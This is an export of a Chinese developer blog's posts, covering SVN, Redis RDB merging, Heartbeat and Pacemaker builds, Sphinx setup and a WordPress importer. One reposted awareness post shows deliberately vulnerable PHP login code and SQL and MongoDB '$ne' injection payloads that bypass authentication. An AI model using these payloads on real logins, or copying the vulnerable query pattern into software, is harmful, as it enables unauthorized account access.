以上3个名词其实是版本管理中都概念，在svn中并没有对应功能实现。branch、tag实际上都是用svn copy实现。 ","title":"Subversion SVN 分支 （Trunk/Branch/Tag） 在WEB项目中如何应用？"},{"content":"公司的服务器上运行了多个redis，现在希望合并到一个redis，用上redis的多database特性。\n在网上找了一圈发现没有比较好的工具可以进行这个处理。\n看过一个redis-dump号称可以导出json再进行导入，结果alpha版本的程序真心不靠谱，运行后报错：\nundefined method `select!` for [\"x\"]:Array 后来没办法只好自己研究起了RDB。其实RDB也很简单，在redis的官方网站上有完整说明\nhttps://github.com/sripathikrishnan/redis-rdb-tools/wiki/Redis-RDB-Dump-File-Format\n\u0026nbsp;\n通过文档了解到像我正在用的这种单db的rdb，其数据结构很简单，前9个字节都是REDIS的MAGIC STRING和RDB版本号，其后跟着两个字节 FE 00 表示0号db，同理如果是1号db应该是 FE 01，再之后就是这个db内所有数据，在文件最后以一个字节FF表示文件结束。\n由此得出要合并3个db只需要把每个文件去掉开头9个字节和最后一个字节，然后把对应的db index改为需要合并到的db index，最后合并到一个文件，并在开头加上之前去掉的9个字节，再在末尾加上一个FF即可完成合并。\n合并完成后别忘了用 redis-check-dump检查一下\n\u0026nbsp;\nlinux下可以用bvi进行二进制编辑，用法与vi基本一致。另外在编辑前可能需要执行一下 :set memmove 命令。\n如果不想安装bvi，只用dd命令也是可以做到的，只是处理大文件的时候可能会比较慢（因为block size=1byte了，我不知道怎么在bs设的较大的情况下精确控制skip和count）。\n\u0026nbsp;\ndd bs=1 if=dump.rdb of=out.rdb skip=9 count={你的dump.rdb的文件大小-10，单位字节} \u0026nbsp;\n这样执行后生成的out.rdb只包含从FEXX开始的数据信息。如果要合并到一个库，可以去掉第一个文件的EOF标识，去掉第二个文件的前9个字节。再cat到一个文件即可。\n\u0026nbsp;\n注意：导出前记得用redis-cli save并关闭服务以保证数据一致\n","permalink":"https://hessian.cn/p/994.html","summary":"公司的服务器上运行了多个redis，现在希望合并到一个redis，用上redis的多database特性。\n在网上找了一圈发现没有比较好的工具可以进行这个处理。\n","title":"合并多个Redis dump.rdb 到一个rdb的多个database"},{"content":"原文地址：http://blog.nosqlfan.com/html/2336.html\n\u0026nbsp;\n在关系型数据库时代，SQL注入攻防几乎成了每一个Web开发者的必修课，很多NoSQL的支持者称NoSQL的同时也就No SQL注入了。其实不然，下面就是一个利用GET参数判断不严格进行的MongoDB注入，希望能够引起大家大家在安全方面的重视。\n使用SQL数据库存储用户名密码的系统，我们检测用户名与密码的过程可能是这样的：\nmysql_query(\"SELECT * FROM user\rWHERE username=\" . $_GET['username'] . \",\rAND passwd=\" . $_GET['passwd']) 我们使用MongoDB进行最简单的用户名与密码检测可能是这样的：\n$collection-\u0026gt;find(array(\r\"username\" =\u0026gt; $_GET['username'],\r\"passwd\" =\u0026gt; $_GET['passwd']\r)); 在最普通的SQL注入中，我们可以构造下面这样的请求：\nlogin.php?username=admin\u0026amp;passwd=abc OR 1 –\n这个请求会形成这样的SQL语句：\nSELECT * FROM user WHERE username=admin AND passwd=abc OR 1; 成功注入！\n采用同理的方法，针对上面的MongoDB查询方式，你可以构造下面的请求：\nlogin.php?username=admin\u0026amp;passwd[$ne]=1\n这个请求会形成这样的MongoDB查询：\n$collection-\u0026gt;find(array(\r\"username\" =\u0026gt; \"admin\",\r\"passwd\" =\u0026gt; array(\"$ne\" =\u0026gt; 1)\r)); 成功注入！\n更多NoSQL安全相关的知识可以查看NoSQLFan的另一篇文章：《NoSQL安全攻防战》\n相关链接：www.idontplaydarts.com\n","permalink":"https://hessian.cn/p/983.html","summary":"原文地址：http://blog.nosqlfan.com/html/2336.html\n\u0026nbsp;\n在关系型数据库时代，SQL注入攻防几乎成了每一个Web开发者的必修课，很多NoSQL的支持者称NoSQL的同时也就No SQL注入了。其实不然，下面就是一个利用GET参数判断不严格进行的MongoDB注入，希望能够引起大家大家在安全方面的重视。\n","title":"[转]安全警示，一个简单的MongoDB注入"},{"content":"每天工作都很忙，人手也不够，新人来了又走来了又走，都快让哥失去培养的兴趣了。\n每天这个催那个催。。。\n蛋疼啊蛋疼。。。\n\u0026nbsp;\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/980.html","summary":"每天工作都很忙，人手也不够，新人来了又走来了又走，都快让哥失去培养的兴趣了。\n每天这个催那个催。。。\n蛋疼啊蛋疼。。。\n\u0026nbsp;\n\u0026nbsp;\n","title":"好忙啊好忙啊。。。"},{"content":"目标 为四台新服务器部署MySQL、Coreseek、Redis、MongoDB、NFS、Varnish等服务。四台服务器分为两组、使用Linux-HA + Pacemaker 实现高可用（HA, High-Availablility）。\n生产服务器基于安全原因考虑不会安装gcc等编译工具，因此所有软件的编译工作都在专门的编译机上完成。编译完成后再部署到生产环境，依赖用yum、rpm解决。\n\u0026nbsp;\n硬件环境 1-DELL R610 6核*2，Xeon5690(3.46G) 8G*6 2.5寸SAS10000转300G*2 2-DELL R610 4核*2，Xeon5620(2.13G) 8G*6 2.5寸SAS10000转300G*2 3-DELL R610 4核*2，Xeon5620(2.13G) 8G*6 2.5寸SAS10000转300G*2 4-DELL R610 6核*2，Xeon5690(3.46G) 8G*6 2.5寸SAS10000转300G*2 MD3200 3.5寸SAS15000转300G*12 \u0026nbsp;\nLinux-HA 3.0 Linux-HA 3.0由三部分组成：Heartbeat、Cluster Glue、Resource Agents\nhearbeat本身是整个集群的基础（cluster messaging layer），负责维护集群各节点的信息以及它们之前通信； cluster-glue相当于一个中间层，可以将heartbeat和crm（pacemaker）联系起来，主要包含2个部分，LRM和STONITH； resource-agent，就是各种的资源的ocf脚本，这些脚本将被LRM调用从而实现各种资源启动、停止、监控等等。 Note 直到 Heartbeat release 2.1.3 , Pacemaker 和 Heartbeat 都是 Linux-HA 保护伞项目的一部分. 在3.0版后, Pacemaker 被作为一个独立项目分割了出去, 且依然完全支持 Heartbeat . Pacemaker Pacemaker = CRM = Cluster Resource Manager，\n\u0026nbsp;\n通过yum安装\n\u0026nbsp;\nyum install cluster-glue resource-agents pacemaker\nInstalled:\ncluster-glue.x86_64 0:1.0.5-2.el6 pacemaker.x86_64 0:1.1.6-3.el6 resource-agents.x86_64 0:3.9.2-7.el6\nDependency Installed:\ncifs-utils.x86_64 0:4.8.1-5.el6 cluster-glue-libs.x86_64 0:1.0.5-2.el6 clusterlib.x86_64 0:3.0.12.1-23.el6_2.1\ncorosync.x86_64 0:1.4.1-4.el6_2.2 corosynclib.x86_64 0:1.4.1-4.el6_2.2 gnutls.x86_64 0:2.8.5-4.el6_2.2\nkeyutils.x86_64 0:1.4-3.el6 libevent.x86_64 0:1.4.13-1.el6 libgssglue.x86_64 0:0.1-11.el6\nlibibverbs.x86_64 0:1.1.5-3.el6 libnl.x86_64 0:1.1-14.el6 librdmacm.x86_64 0:1.0.14.1-3.el6\nlibtalloc.x86_64 0:2.0.1-1.1.el6 libtasn1.x86_64 0:2.3-3.el6_2.1 libtirpc.x86_64 0:0.2.1-5.el6\nlm_sensors-libs.x86_64 0:3.1.1-10.el6 net-snmp-libs.x86_64 1:5.5-37.el6_2.1 nfs-utils.x86_64 1:1.2.3-15.el6_2.1\nnfs-utils-lib.x86_64 0:1.1.5-4.el6 pacemaker-cli.x86_64 0:1.1.6-3.el6 pacemaker-cluster-libs.x86_64 0:1.1.6-3.el6\npacemaker-libs.x86_64 0:1.1.6-3.el6 perl-TimeDate.noarch 1:1.16-11.1.el6 quota.x86_64 1:3.17-16.el6\nrpcbind.x86_64 0:0.2.0-8.el6 tcp_wrappers.x86_64 0:7.6-57.el6\n\u0026nbsp;\n环境配置 echo /opt/servers/lib \u0026gt; /etc/ld.so.conf.d/servers.conf\rgroupadd -g 1000 mysql; useradd -g mysql -u 1000 mysql\rgroupadd -g 3000 wwwroot; useradd -g wwwroot -u 3000 wwwroot 编译环境 CentOS 6.2 x86_64 Linux 2.6.32-220.el6.x86_64\n编译环境要求 wget mercurial gcc autoconf automake make libtool pkgconfig glib2-devel libxml2 libxml2-devel bzip2-devel libtool-ltdl-devel libuuid-devel libxslt-devel \u0026nbsp;\n编译glue ./autogen.sh\r./configure --prefix=/opt/servers\rmake\rmake install ./configure 的输出\ncluster-glue configuration:\rVersion = 1.0.9 (Build: 0a08a469fdc8a0db1875369497bc83c0523ceb21)\rFeatures =\rPrefix = /opt/servers\rExecutables = /opt/servers/sbin\rMan pages = /opt/servers/share/man\rLibraries = /opt/servers/lib\rHeader files = /opt/servers/include\rArch-independent files = /opt/servers/share\rDocumentation = /opt/servers/share/doc/cluster-glue\rState information = /opt/servers/var\rSystem configuration = /opt/servers/etc\rUse system LTDL = yes\rHA group name = haclient\rHA user name = hacluster\rCFLAGS = -g -O2 -ggdb3 -O0 -fgnu89-inline -fstack-protector-all -Wall -Waggregate-return -Wbad-function-cast -Wcast-qual -Wcast-align -Wdeclaration-after-statement -Wendif-labels -Wfloat-equal -Wformat=2 -Wformat-security -Wformat-nonliteral -Winline -Wmissing-prototypes -Wmissing-declarations -Wmissing-format-attribute -Wnested-externs -Wno-long-long -Wno-strict-aliasing -Wpointer-arith -Wstrict-prototypes -Wwrite-strings -ansi -D_GNU_SOURCE -DANSI_ONLY -Werror\rLibraries = -lbz2 -lxml2 -lc -luuid -lrt -ldl -lglib-2.0 -lltdl\rStack Libraries = 注意 Use system LTDL， 在未安装lib tool-ltdl-devel之前该项会显示为no，且编译会报错\nMaking all in libltdl\rgmake[1]: Entering directory `/root/build/Reusable-Cluster-Components-glue--glue-1.0.9/libltdl'\rgmake[1]: *** 没有规则可以创建目标“all”。 停止。\rgmake[1]: Leaving directory `/root/build/Reusable-Cluster-Components-glue--glue-1.0.9/libltdl'\rmake: *** [all-recursive] 错误 1 另外一个可能遇到的错误是关于uuid的，简单的yum install libuuid-devel可以解决，在解决这个问题的时候我google了一下，如果不行可能还会需要在configure的时候带上参数 LIBS=\u0026#8217;/lib/libuuid.so.1\u0026#8217;（注意，如果是64位则是/lib64/\u0026#8230;.）。\n./.libs/libplumb.so: undefined reference to `uuid_parse'\r./.libs/libplumb.so: undefined reference to `uuid_generate'\r./.libs/libplumb.so: undefined reference to `uuid_copy'\r./.libs/libplumb.so: undefined reference to `uuid_is_null'\r./.libs/libplumb.so: undefined reference to `uuid_unparse'\r./.libs/libplumb.so: undefined reference to `uuid_clear'\r./.libs/libplumb.so: undefined reference to `uuid_compare'\rcollect2: ld returned 1 exit status\rgmake[2]: *** [ipctest] 错误 1\rgmake[2]: Leaving directory `/root/build/Reusable-Cluster-Components-glue--glue-1.0.9/lib/clplumbing'\rgmake[1]: *** [all-recursive] 错误 1\rgmake[1]: Leaving directory `/root/build/Reusable-Cluster-Components-glue--glue-1.0.9/lib'\rmake: *** [all-recursive] 错误 1 编译Heartbeat 3 ./bootstrap\rLIBS=\"/lib64/libuuid.so.1\" CFLAGS=\"-I/opt/servers/include -L/opt/servers/lib\" ./configure --prefix=/opt/servers\rmake\rmake install 因为我们的安装路径非标准路径，所以这里要指定一下CFLAGS 的include path，否则configure会因找不到glue_config.h而报错\nchecking for heartbeat/glue_config.h... no\rconfigure: error: in `/root/build/Heartbeat-3-0-7e3a82377fa8':\rconfigure: error: Core development headers were not found\rSee `config.log' for more details. 虽然已经在ldconfig 里加上了/opt/servers/lib 但是如果不在CFLAGS里指定 lib path 还是会导致 ld 找不到 -lplumb （/opt/servers/lib/libplumb.so）。\n另外如果没有安装libxslt-devel在make的时候还会导致 “gmake[1]: \u0026#8211;xinclude: Command not found”。\n./configure 输出\nheartbeat configuration:\rVersion = \"3.0.5\"\rExecutables = \"/opt/servers/sbin\"\rMan pages = \"/opt/servers/share/man\"\rLibraries = \"/opt/servers/lib64\"\rHeader files = \"/opt/servers/include\"\rArch-independent files = \"/opt/servers/share\"\rDocumentation files = \"/opt/servers/share/doc/heartbeat\"\rState information = \"/opt/servers/var\"\rSystem configuration = \"/opt/servers/etc\"\rInit (rc) scripts = \"/etc/init.d\"\rInit (rc) defaults = \"/etc/sysconfig\"\rUse system LTDL = \"yes\"\rHA group name = \"haclient\"\rHA group id = \"65\"\rHA user name = \"hacluster\"\rHA user user id = \"17\"\rBuild dopd plugin = \"yes\"\rEnable times kludge = \"yes\"\rCC_WARNINGS = \" -Wall -Wmissing-prototypes -Wmissing-declarations -Wstrict-prototypes -Wdeclaration-after-statement -Wpointer-arith -Wwrite-strings -Wcast-qual -Wcast-align -Wbad-function-cast -Winline -Wmissing-format-attribute -Wformat=2 -Wformat-security -Wformat-nonliteral -Wno-long-long -Wno-strict-aliasing -Werror \"\rMangled CFLAGS = \"-I/opt/servers/include -L/opt/servers/lib -I/opt/servers/include/heartbeat -Wall -Wmissing-prototypes -Wmissing-declarations -Wstrict-prototypes -Wdeclaration-after-statement -Wpointer-arith -Wwrite-strings -Wcast-qual -Wcast-align -Wbad-function-cast -Winline -Wmissing-format-attribute -Wformat=2 -Wformat-security -Wformat-nonliteral -Wno-long-long -Wno-strict-aliasing -Werror -ggdb3 -funsigned-char\"\rLibraries = \"-lbz2 -lz -lc -luuid -lrt -ldl /lib64/libuuid.so.1 -lltdl\"\rRPATH enabled = \"\"\rDistro-style RPMs = \"no\"\rNote: If you use the 'make install' method for installation you\ralso need to adjust '/etc/passwd' and '/etc/group' manually. 到这里 cluster-glue 和 heartbeat 都编译完成了。\n然后老大说要用rpm装。。。我了个去。。。\n然后centos 6.2的源里 cluster-glue、resource-agents、pacemaker 都有，就是没有heartbeat。 幸好heartbeat的source里提供了.spec 可以用rpmbuild来生成rpm包。\n下面继续 heartbeat.rpm 的 build过程\n首先把下载下来的heartbeat源码包解压一份，然后再把源码包(.tar.gz)复制到 /root/rpmbuild/SOURCES/heartbeat.tar.bz2\ntar -jxf Heartbeat-3.0.5.tar.bz2\rcp Heartbeat-3.0.5.tar.bz2 /root/rpmbuild/SOURCES/heartbeat.tar.bz2\rcd Heartbeat-XXXXXX\r# 解决依赖\ryum install ncurses-devel openssl-devel gettext bison flex mailx cluster-glue-libs-devel docbook-dtds docbook-style-xsl\r# 开始生成。 （-bb 只编译二进制rpm包 -bs 只编译源码rpm包 -ba 同时编译二进制和源码rpm包）\rrpmbuild -ba heartbeat-fedora.spec 最后生成文件\nWrote: /root/rpmbuild/SRPMS/heartbeat-3.0.5-1.el6.src.rpm\rWrote: /root/rpmbuild/RPMS/x86_64/heartbeat-3.0.5-1.el6.x86_64.rpm\rWrote: /root/rpmbuild/RPMS/x86_64/heartbeat-libs-3.0.5-1.el6.x86_64.rpm\rWrote: /root/rpmbuild/RPMS/x86_64/heartbeat-devel-3.0.5-1.el6.x86_64.rpm \u0026nbsp;\n未完未完。。。\r中途被拉去解决别的问题，HA的部署工作被人接手掉了 ","permalink":"https://hessian.cn/p/961.html","summary":"目标 为四台新服务器部署MySQL、Coreseek、Redis、MongoDB、NFS、Varnish等服务。四台服务器分为两组、使用Linux-HA + Pacemaker 实现高可用（HA, High-Availablility）。\n","title":"CentOS 6.2（RHEL6）高可用服务器环境搭建"},{"content":"SHJS:\nhttp://shjs.sourceforge.net/doc/download.html\nWordPress Plugin:\nAuthor: Zach\nSHJS Syntax Hilighter\n\u0026nbsp;\n用的Theme CSS是从 Laurence 的Blog 扒下来的sh_ir_black.css\n","permalink":"https://hessian.cn/p/955.html","summary":"SHJS:\nhttp://shjs.sourceforge.net/doc/download.html\nWordPress Plugin:\nAuthor: Zach\nSHJS Syntax Hilighter\n\u0026nbsp;\n用的Theme CSS是从 Laurence 的Blog 扒下来的sh_ir_black.css\n","title":"更换了新的代码高亮插件 SHJS Syntax Hilighter"},{"content":"从此这里做主博了，于是写了个导入程序把我百度空间的东西也搬了过来，下次还得写个导入相册的。。。\n看了网上很多导入工具都是用的RSS来导入，会丢掉很多东西，而且一些被百度和谐掉的内容是抓取不到的，所以做了这么个工具通过采集的方式直接从HTML里抓取博客内容。\n\u0026nbsp;\n源文件下载：import_baiduhi.php_.zip\n\u0026nbsp;\n配置方法：\n在程序底部修改下面两个变量的值，如果不想抓私密文章cookie留空也可以。\n$account = 'meshikar'; //百度空间的URL后缀\r$cookie = 'YOUR COOKIE'; //登陆后的百度COOKIE，用于抓取私密文章 附上Cookie的获取方法：\n登陆后用firefox的firebug在网络选项卡中点开第一个请求，查看请求头信息把Cookie的内容复制下来就是了。\n使用方法：\n把文件放到 /wordpress/scripts 目录下，在命令行用PHP CLI运行。\n当然也可以通过HTTP执行，只要你执行时间限制足够你导入。\n","permalink":"https://hessian.cn/p/679.html","summary":"从此这里做主博了，于是写了个导入程序把我百度空间的东西也搬了过来，下次还得写个导入相册的。。。\n看了网上很多导入工具都是用的RSS来导入，会丢掉很多东西，而且一些被百度和谐掉的内容是抓取不到的，所以做了这么个工具通过采集的方式直接从HTML里抓取博客内容。\n","title":"从百度空间导入到WordPress"},{"content":"原文地址：http://blog.csdn.net/adparking/article/details/7207119\n\u0026nbsp;\n1.下载PHP客户端安装:\nhttp://pecl.php.net/package/sphinx vim sphinxclient.c\n找到\nvoid sock_close ( int sock );\n改为\nstatic void sock_close ( int sock ); 在php.ini加扩展,客户端安装完毕 2.安装sphinx,前提你已经安装mysql且安装了mysql-devel重源码安装mysql的\nmysql-devel都已经安装,yum安装的运行 yum -y install mysql-devel 下载sphinx2.0.1地址: http://sphinxsearch.com/downloads/ tar -xvzf sphinx-2.0.1-beta.tar.gz\ncd sphinx-2.0.1-beta\n./configure \u0026#8211;prefix=/usr/local/sphinx \u0026#8211;with-mysql \u0026#8211;with-iconv 备注:64位增加参数 \u0026#8211;enable-id64\nmake \u0026amp;\u0026amp; make install cd /usr/local/sphinx/etc/ cp sphinx.conf.dist sphinx.conf \u0026nbsp;\n[plain] view plaincopy\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n# Sphinx configuration file sample \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# WARNING! While this sample file mentions all available options, \u0026nbsp;\n\u0026nbsp;\n# it contains (very) short helper descriptions only. Please refer to \u0026nbsp;\n\u0026nbsp;\n# doc/sphinx.html for details. \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n## data source definition \u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\nsource src1 \u0026nbsp;\n\u0026nbsp;\n{ \u0026nbsp;\n\u0026nbsp;\n# data source type. mandatory, no default value \u0026nbsp;\n\u0026nbsp;\n# known types are mysql, pgsql, mssql, xmlpipe, xmlpipe2, odbc \u0026nbsp;\n\u0026nbsp;\ntype = mysql \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n##################################################################### \u0026nbsp;\n\u0026nbsp;\n## SQL settings (for \u0026#8216;mysql\u0026#8217; and \u0026#8216;pgsql\u0026#8217; types) \u0026nbsp;\n\u0026nbsp;\n##################################################################### \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# some straightforward parameters for SQL source types \u0026nbsp;\n\u0026nbsp;\nsql_host = localhost \u0026nbsp;\n\u0026nbsp;\nsql_user = root \u0026nbsp;\n\u0026nbsp;\nsql_pass = ****** \u0026nbsp;\n\u0026nbsp;\nsql_db = ****** \u0026nbsp;\n\u0026nbsp;\nsql_port = 3306 # optional, default is 3306 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# UNIX socket name \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (reuse client library defaults) \u0026nbsp;\n\u0026nbsp;\n# usually \u0026#8216;/var/lib/mysql/mysql.sock\u0026#8217; on Linux \u0026nbsp;\n\u0026nbsp;\n# usually \u0026#8216;/tmp/mysql.sock\u0026#8217; on FreeBSD \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\nsql_sock = /tmp/mysql.sock \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# MySQL specific client connection flags \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 \u0026nbsp;\n\u0026nbsp;\n# 数据传输方式 \u0026nbsp;\n\u0026nbsp;\n# mysql_connect_flags = 32 # enable compression \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# MySQL specific SSL certificate settings \u0026nbsp;\n\u0026nbsp;\n# optional, defaults are empty \u0026nbsp;\n\u0026nbsp;\n# SLL链接 \u0026nbsp;\n\u0026nbsp;\n# mysql_ssl_cert = /etc/ssl/client-cert.pem \u0026nbsp;\n\u0026nbsp;\n# mysql_ssl_key = /etc/ssl/client-key.pem \u0026nbsp;\n\u0026nbsp;\n# mysql_ssl_ca = /etc/ssl/cacert.pem \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# MS SQL specific Windows authentication mode flag \u0026nbsp;\n\u0026nbsp;\n# MUST be in sync with charset_type index-level setting \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# mssql_winauth = 1 # use currently logged on user credentials \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# MS SQL specific Unicode indexing flag \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (request SBCS data) \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# mssql_unicode = 1 # request Unicode data from server \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# ODBC specific DSN (data source name) \u0026nbsp;\n\u0026nbsp;\n# mandatory for odbc source type, no default value \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# odbc_dsn = DBQ=C:\\data;DefaultDir=C:\\data;Driver={Microsoft Text Driver (*.txt; *.csv)}; \u0026nbsp;\n\u0026nbsp;\n# sql_query = SELECT id, data FROM documents.csv \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# ODBC and MS SQL specific, per-column buffer sizes \u0026nbsp;\n\u0026nbsp;\n# optional, default is auto-detect \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# sql_column_buffers = content=12M, comments=1M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# pre-query, executed before the main fetch query \u0026nbsp;\n\u0026nbsp;\n# multi-value, optional, default is empty list of queries \u0026nbsp;\n\u0026nbsp;\n# 发送SQL语句前发送 \u0026nbsp;\n\u0026nbsp;\nsql_query_pre = SET NAMES utf8 \u0026nbsp;\n\u0026nbsp;\nsql_query_pre = SET SESSION query_cache_type=OFF \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# main document fetch query \u0026nbsp;\n\u0026nbsp;\n# mandatory, integer document ID field MUST be the first selected column \u0026nbsp;\n\u0026nbsp;\n# 需要查询的表 构建查询 \u0026nbsp;\n\u0026nbsp;\nsql_query = \\ \u0026nbsp;\n\u0026nbsp;\nSELECT id,target_type,genre,stars,sub_title,sports_team,music_band,music_album \\ \u0026nbsp;\n\u0026nbsp;\nFROM ko_link \u0026nbsp;\n\u0026nbsp;\n#如果多个数据源并要在一个索引,必须要保持字段的顺序数量跟数据都要一致,否则将出错 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# joined/payload field fetch query \u0026nbsp;\n\u0026nbsp;\n# joined fields let you avoid (slow) JOIN and GROUP_CONCAT \u0026nbsp;\n\u0026nbsp;\n# payload fields let you attach custom per-keyword values (eg. for ranking) \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# syntax is FIELD-NAME \u0026#8216;from\u0026#8217; ( \u0026#8216;query\u0026#8217; | \u0026#8216;payload-query\u0026#8217; ); QUERY \u0026nbsp;\n\u0026nbsp;\n# joined field QUERY should return 2 columns (docid, text) \u0026nbsp;\n\u0026nbsp;\n# payload field QUERY should return 3 columns (docid, keyword, weight) \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# REQUIRES that query results are in ascending docuent ID order! \u0026nbsp;\n\u0026nbsp;\n# multi-value, optional, default is empty list of queries \u0026nbsp;\n\u0026nbsp;\n# 添加字段,来源与表 自动连接 \u0026nbsp;\n\u0026nbsp;\n# 字段结果集保持为 \u0026nbsp;\n\u0026nbsp;\n# (1,tags1) \u0026nbsp;\n\u0026nbsp;\n# (1,tags2) \u0026nbsp;\n\u0026nbsp;\n# (2,tags3) \u0026nbsp;\n\u0026nbsp;\n# (2,tags4) \u0026nbsp;\n\u0026nbsp;\n# 添加字段将用于搜索,结果如有第3个字段,第3个字段表示该记录的权重,权重为大于1的值 \u0026nbsp;\n\u0026nbsp;\n# sql_joined_field = tags from query; SELECT docid, CONCAT(\u0026#8216;tag\u0026#8217;,tagid) FROM tags ORDER BY docid ASC \u0026nbsp;\n\u0026nbsp;\n# sql_joined_field = wtags from payload-query; SELECT docid, tag, tagweight FROM tags ORDER BY docid ASC \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# file based field declaration \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# content of this field is treated as a file name \u0026nbsp;\n\u0026nbsp;\n# and the file gets loaded and indexed in place of a field \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# max file size is limited by max_file_field_buffer indexer setting \u0026nbsp;\n\u0026nbsp;\n# file IO errors are non-fatal and get reported as warnings \u0026nbsp;\n\u0026nbsp;\n# 把字段声明放入文件 \u0026nbsp;\n\u0026nbsp;\n# sql_file_field = content_file_path \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# range query setup, query that must return min and max ID values \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# sql_query will need to reference $start and $end boundaries \u0026nbsp;\n\u0026nbsp;\n# if using ranged query: \u0026nbsp;\n\u0026nbsp;\n# 分区查询,防止MYSQL死锁 \u0026nbsp;\n\u0026nbsp;\n# sql_query = \\ \u0026nbsp;\n\u0026nbsp;\n# SELECT doc.id, doc.id AS group, doc.title, doc.data \\ \u0026nbsp;\n\u0026nbsp;\n# FROM documents doc \\ \u0026nbsp;\n\u0026nbsp;\n# WHERE id\u0026gt;=$start AND id\u0026lt;=$end \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# sql_query_range = SELECT MIN(id),MAX(id) FROM documents \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# range query step \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1024 \u0026nbsp;\n\u0026nbsp;\n# 分区查询跳步 \u0026nbsp;\n\u0026nbsp;\n# sql_range_step = 1000 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# unsigned integer attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# optional bit size can be specified, default is 32 \u0026nbsp;\n\u0026nbsp;\n# 声明无符号数字段 \u0026nbsp;\n\u0026nbsp;\n#sql_attr_uint = target_type \u0026nbsp;\n\u0026nbsp;\n# sql_attr_uint = forum_id:9 # 9 bits for forum_id \u0026nbsp;\n\u0026nbsp;\n#sql_attr_uint = group_id \u0026nbsp;\n\u0026nbsp;\n#声明BOOL字段 \u0026nbsp;\n\u0026nbsp;\n# boolean attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# equivalent to sql_attr_uint with 1-bit size \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# sql_attr_bool = is_deleted \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# bigint attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# declares a signed (unlike uint!) 64-bit attribute \u0026nbsp;\n\u0026nbsp;\n# 声明长整字段 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_bigint = my_bigint_id \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# UNIX timestamp attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# similar to integer, but can also be used in date functions \u0026nbsp;\n\u0026nbsp;\n# 声明时间字段 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_timestamp = posted_ts \u0026nbsp;\n\u0026nbsp;\n# sql_attr_timestamp = last_edited_ts \u0026nbsp;\n\u0026nbsp;\n#sql_attr_timestamp = date_added 